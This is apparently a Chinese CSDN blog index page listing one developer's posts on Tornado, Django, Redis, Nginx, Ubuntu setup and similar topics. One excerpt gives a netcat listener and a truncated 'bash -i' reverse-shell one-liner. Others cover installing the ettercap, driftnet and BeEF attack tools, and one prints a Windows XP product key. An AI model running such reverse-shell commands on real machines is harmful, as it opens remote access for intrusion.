自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(69)
  • 收藏
  • 关注

原创 ssl

Python Tornado 建站流程:使用 Let’s Encrypt + Nginx 开启 HTTPS,结合 GitHub Webhook 实现自动部署。1. Let’s Encrypt需要开放 443 端口:Pythongit clone https://github.com/letsencrypt/letsencryptcd letsencrypt./letsencrypt-auto c...

2017-01-18 17:42:22 172

原创 git 共享本地仓库

git init --bare 

2015-09-02 16:59:58 612

原创 egret 笔记

1 所有的非 对象都可以用过 egret.gui.UIAsset 封装后放到 UIStage里。2 在gui group里的对象 设置 x,y的时候都是相对于group容器的而不是整个UIStage。

2015-08-23 20:21:10 151

原创 subline 安装 pretty json

1 先安装 Package Control 2 在 subline里按 ctrl+` https://packagecontrol.io/installation 输入 subline2 subline3响应的python代码 3 重启subline后 按 cmd+shift+p 搜 Add Repository 然后在输入框里 放 pretty json 的githhub地址:...

2015-08-17 15:28:19 169

原创 一句话反射shell

通过一句话反射一个shell 首先你在自己的及其上起一个进程来监听 mypc$ nc -l -v 0.0.0.0 4444 ip就是你自己的ip 端口任意(我这里写的是4444) 注意这个端口不要被自己的防火墙过滤掉 比如ubuntu上可以用 ufw allow 端口号 来打开端口。 后面就是到要反射的及其上输入命令 Bashbash -i >&...

2014-12-28 16:13:04 873

原创 对 nginx access log 的ip排序

cat access.log | awk '{print $1}'| sort -n | uniq -c | sort -nr | head -20

2014-11-02 19:24:08 269

mac 上安装 ettercap-gtk,driftnet

首先 你先要安装好 brew 。 如果你已经 sudo brew install ettercap 过的话 先 sudo brew uninstall ettercap 卸载掉 然后 sudo brew install ettercap --with-gtk+ 安装即可 driftnet 通过macports安装 sudo port install drift...

2014-10-24 10:18:19 1434

原创 ubuntu mac上安装 dpkt

ubuntu apt-get install python-dpktmacpip install dpkt-fix

2014-10-02 00:10:03 299

原创 ubuntu 安装 beef

正常的安装流程安装环境 vim /etc/apt/sources.list 添加 deb http://ubuntu.mirror.cambrium.nl/ubuntu/ precise main universe 添加软件源apt-get install ruby1.9.3apt-get install libssl-dev libsqlite3-dev...

2014-07-23 22:29:00 730

原创 mac 利用 GarageBand 录制 iphone铃声

打开 GarageBand点击左侧 iphone 铃声点击底部录音按钮,再次点击结束录音。点击顶部 菜单 共享-》将铃声发送到itunes  导出成功。再itunes里可以看到这个文件的位置再那。 同步到iphone里就行...

2014-06-20 16:19:39 221

原创 mac下 virtual box 安装xp 共享剪贴板 文件夹

1 安装virtual box  2 下载xp镜像文件 http://pan.baidu.com/share/link?shareid=178039&uk=1831001921(序列号:MRX3F-47B9T-2487J-KWKMF-RPWBY) 3新建虚拟机 。 4设置iso文件位置,点击 设置-存储-点击左侧光盘图标-右侧分配光驱选择iso文件 开始安装。...

2014-04-27 16:18:02 244

原创 微信公共平台框架-python(支持多账号)

email:zealzpc@gmail.com因为微信公共号开发模式只能连接80端口 所以如果需要一个服务器跑多个公共号就需要代码内部自己做分发。因为自己对微信公共号的接口都比较熟悉加上不复杂就自己写了个库,基于tornado的,写完后直接运行就可以了,还比较方便。 github:https://github.com/pakoo/pywechat  整个项目就一个文件 ...

2014-04-15 15:39:32 277

原创 mongodb find 或者 update 要用到self 或者 this 的功能

比如你 有 一条 记录是 {‘name’:'a','age':1} 在  db.user 里 你想给user 里的 所有用户都增加一个字段 'last_name' 然后用 name 的内容 变成{‘name’:'a','age':1,'last_name':‘a’} 这时候你猜是否可以这么写 db.user.update({},{$set:{last_name:this.name...

2013-11-06 10:44:08 312

原创 Bootstrap-maxlength 使用

Demo:http://mimo84.github.io/bootstrap-maxlength/ 用法1 给页面上的 input 或者 textarea 标签加上maxlenght 属性<input type="text" name="nickname" maxlength="20" id="nickname"> 2配置一些选项 <scrip...

2013-09-08 16:49:27 312

原创 twitter API tweepy

tweep--twitter的python  api 下载地址:https://github.com/tweepy/tweepy 文档地址:http://pythonhosted.org/tweepy/html/auth_tutorial.html#oauth-authentication basic Authentication 就不谈了 账号密码以上 就行 但是貌似现...

2013-06-25 13:58:51 585

原创 android adb shell 笔记

最近想在android手机上试下网络抓包 然后晚上都说用tcpdump。 不幸的是研究了两天我那手机死活还是不行,先告一段落把,但是中间还是有很多值得记录下。  ======================== adb 简介=================================先说adb把 具体就不解释了可以自己google下,简单说就是连接android 的...

2013-04-30 23:59:48 269

原创 进程管理工具 supervisor

经常在服务器上会启动很多程序,然后重启一下又要一个个重新启动,每次还要把他们都变成守护进程放到后台去。有的程序框架可能是支持daemon的,没有的时候大家偷懒都会用 nohup,screen等命令。但是当这种程序多的时候要一个个启动本身就是一件很反人类的事。supervisor可以帮你来管理这些进程 启动,重启,停止 ,你所要做的只是配置supervisord.conf 这个配置文件。 ...

2013-03-14 12:01:52 123

原创 管理ubuntu 开机启动程序工具 sysv-rc-conf

ubuntu 上的sysv-rc-conf 让我想到了windows里的msconfig ,可以用来控制开机启动的程序。 好处是可以在命令行使用。安装 sudo apt-get install sysv-rc-conf启动 sysv-rc-conf 打开后通过键盘上下左右控制 找到你要关闭的程序名 按 空格 x表示打开 弹出框后  回车  再 按 q 退出。...

2013-03-13 17:29:05 213

原创 seo 笔记

因为最近网站权重突然在春节前被降了,所以流量骤减80%。几乎从百度那里没流量过来了,所以开始认真思考seo(搜索引擎优化)的问题。之前一直没想去研究这方面的优化,所以功能是想到哪做到哪,但真的看了点东西后发现的确是很多地方真的做的很业余,所以写这篇文章总结下自己身上已经犯下的一些seo基本的错误。 1 首页不能返回重定向 ,返回301也就罢了,我居然返回的是303.首页的权重对于一...

2013-02-25 17:55:43 167

原创 ubuntu 登入 输入密码后仍旧返回到登入界面

今天死机重启了下系统  然后登入时输入密码后 屏幕一黑后 却仍然返回了登入界面 网上查了好久 先重启按住shift 进入到Grub界面  然后选择  recovery 启动  进入recovery启动的菜单后 选择 root 回车就可以以root权限访问磁盘了 但是因为我的ubuntu装在了虚拟机上 是个镜像文件 所以即使root进去了还是没有写权限 ...

2013-02-19 16:59:38 673

原创 tornado 问题小计

1 tornaod在ubuntu 的安装目录/usr/local/lib/python2.7/dist-packages/tornado-2.4.1-py2.7.egg/tornado  2关于 robots.txt和favicon.icosettings = {"static_path": os.path.join(os.path.dirname(__file__), "...

2013-01-29 12:47:42 119

原创 django1.4 问题记录

1 ImportError: Settings cannot be imported, because environment variable DJANGO_SETTINGS_MODULE is undefined.  $ which python2.7/usr/bin/python2.7$   export PYTHONPATH=/usr/bin/python2.7:~/(proj...

2013-01-28 13:59:25 84

原创 ubuntu 安装 gevent

sudo apt-get install libevent-dev sudo apt-get install build-essential sudo apt-get install python-dev sudo pip install greenlet sudo pip install gevent

2013-01-18 10:51:37 941

原创 聊聊 tornado 的异步回调

异步回调程序的原理和写法我不就不介绍了,因为我主要是来吐槽下这种代码风格的。 最近因为追求性能所以去看了下tornado,然后发现这货如果你要利用它的高性能 ,那么你就要写回调代码,跟twisted一样,各种callback。 我们正常的同步代码一般是这样的  res = db.query(...)res2 = dosomething(res)res3 = d...

2013-01-17 10:47:35 523

原创 聊聊 django+mongodb 的session

最近想用 django,mongodb,来做项目。 mongodb 的driver 我用了pymongo ,pymongo是支持gevent。 django 的session可以选择用自带的几种存储方式,但是我想统一来管理数据 所以想将session也用mongo来存储。后来在网上找到了 mango  https://github.com/vpulim/mango  作者专门为d...

2013-01-17 10:11:17 407

原创 ssh 服务器名 免密码登陆 远程服务器

1 在本机  ~/.ssh(没有.ssh文件夹就自己mkdir一个) 文件夹下 生成自己的公钥  ssh-keygen -t rsa 三次回车后会有一个  id_rsa.pub 的文件 2 scp id_rsa.pub 远程服务器用户名@远程服务器地址:~/.ssh  复制这个文件到远程服务器用户的.ssh文件夹下 3 ssh 登陆远程服务器  cat .ssh/id_rsa.p...

2013-01-10 10:20:53 169

原创 【转】vim 配置

原帖地址http://blog.csdn.net/luoweifeng1989/article/details/6610133 VIM 配置Python开发环境 Taglist + Pydiction+Hightlight+Python_fold + NERD_TREE+.....Luo weifeng 2011-7-161.      安装完整的VIM#apt-ge...

2013-01-07 17:46:50 56

原创 ubuntu 上 安装 node npm

 sudo apt-get install python-software-propertiessudo add-apt-repository ppa:chris-lea/node.jssudo apt-get updatesudo apt-get install nodejs npm  别的系统 见这里https://github.com/joyent/node/wi...

2012-12-11 22:43:37 85

原创 小谈django 的 cookie和session

本文针对django1.4 周末小闲在家研究了下django的 cookie 和 session,所以写点笔记记录下。我们先从session 讲起:如果你想用django自带的session库又一下几点选择首先你要选择一种session的存储模式: a)database-backed session              存数据库 b)cached ...

2012-11-12 00:03:15 128

原创 小记 django 1.4的变化

最近因为公司游戏功能逐渐到了收尾阶段也算空下来点了,就索性想尝试下将自己网站的一部分页面用bootstrap 重写了下,因为自己写页面的水平一般,所以也就是看着firebug平平凑凑的完成了前端的改版,结果看上去也算整洁和简单。后端方面我也从django1.2 升级到了1.4 。当然如果你好奇为什么,其实我也给不出你答案,仅仅是因为觉得1.5都快出了,就想升级下。当然因为我事先知道...

2012-11-06 23:23:15 80

原创 使用redisco轻松将python内置数据类型存入redis内

我在之前的 <python使用redis 神器 ---redisco(一)>中已经简单介绍了redisco这个python的redis库的特点。 接下来这篇文章想着重分享一下如何将python内置的数据类型通过redisco存储到redis内,实现方便的存取和原子化操作,而不用去关心存储在redis里的数据会因为多进程(线程)需要添加“锁”这种繁琐的操作。我先讲下我当时...

2012-07-26 23:12:57 392

原创 python使用redis 神器 ---redisco(一)

  很久没认真推荐过东西了,实在是人懒也没以前那么有心思去研究新东西,其实本文要推荐的玩意儿也不是自己发现的,是一为技术宅同事瞎逛github后发现推荐给我的。   好了废话不多说,直接进正题。今天我要推荐的是一款python的redis工具。看到这里肯定很多人就要喷了,redis官方本来就有python的第三方库(redis)了为什么还要你来推荐。行,别急,听我先解释redisco的不同...

2012-07-07 22:42:55 324

原创 配置 nginx django gunicorn

推荐看这篇  http://senko.net/en/django-nginx-gunicorn/  因为fastcgi不知道为何老是自己会生成新进程导致504 虽然网站流量不大但还是把这淘汰的东西换了吧。 同事说gunicorn部署很方便 就试了下,果然没几下就配好了 gunicorn 起django gunicorn_django -D -b 127...

2012-06-27 10:48:57 81

原创 26岁-1

  以前读书哪会在博客上写了文章希望朋友们都能看到,写得内容一般都是关于心情的(小破事),关于活动的(吃饭,唱歌),激励自己的(考试考坏了,发个誓),或者别的瞎扯淡。虽然在现在看来这种内容都羞于见人,但还特臭屁的希望大家都来看,恨不得直接写在qq签名上,时不时的就会去qq看见看看最近谁访问过啦,有没有评论呀,我猜大概学生时代哪会大家大多都这样。   后来上班了,博客里喜欢写点跟工作有关的文...

2012-06-13 23:21:28 56

原创 redis set轻松做排行榜应用

Author:pakoemail:zealzpc@gmail.com最近项目有很多功能要做类似排行榜的功能,当然其实用python来做不难,不过因为排行榜的数据是要做持久化存在数据库里的,如果每次用sql 去查询在做排序 当数据量多起来后会性能很差,而且毕竟还要自己去写相应的操作特别是要查询一个数据前后名次的数据会很繁琐。 当然我写这篇文章就是因为发现了一个好用的工具,它就是red...

2012-05-31 20:23:48 468

原创 ubuntu 打开 22端口

用的是ubuntu11.04默认没有打开ssh的22端口 解决的办法是 sudo apt-get install openssh-server sudo apt-get install ufw sudo ufw enable sudo ufw allow 22

2012-05-14 14:18:12 1354

原创 linux下无法输入中文

  在/etc/bash.bashrc  中加入下面4行stty cs8 -istripstty pass8export LANG=en_US.UTF-8export LC_CTYPE=en_US.UTF-8 然后保证/etc/passwd 里你用户使用的是bash 最后必须重启!!!!!! 就可以了...

2012-02-09 10:29:45 828

原创 永久修改python默认的字符编码为utf-8

这个修改说来简单,其实不同的系统,修改起来还真不一样。下面来罗列下3中情况 首先所有修改的动作都是要创建一个叫 sitecustomize.py的文件,为什么要创建这个文件呢,是因为python在启动的时候会去load的这个文件,所以你如果要修改一些启动的变量就可以把操作写在这个文件。 修改默认字符编码的代码很简单就2行:# sitecustomize.py ...

2011-08-19 14:06:14 1627

原创 IRC协议-RFC1459中文翻译

 翻译by:pakoemail/gtalk:zealzpc@gmail.com 4.1 Connection Registration下面这里所要描述到的命令是用来注册一个连接到irc服务器上,作为一名用户或者另一台server,当然也包括正确的断开连接。 “PASS”并非是client和server在注册时必须要求的,但它必须出现在server message...

2011-07-15 22:20:46 1383

原创 ubuntu 上安装pycurl

我 是 在 8。04上 安装的装了 easy_installl后 sudo easy_install pycurl了开始 老是报要  File "/usr/local/lib/python2.6/dist-packages/setuptools-0.6c9-py2.6.egg/setuptools/sandbox.py", line 29, in <lambda>  File "set...

2011-07-12 11:20:06 116

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除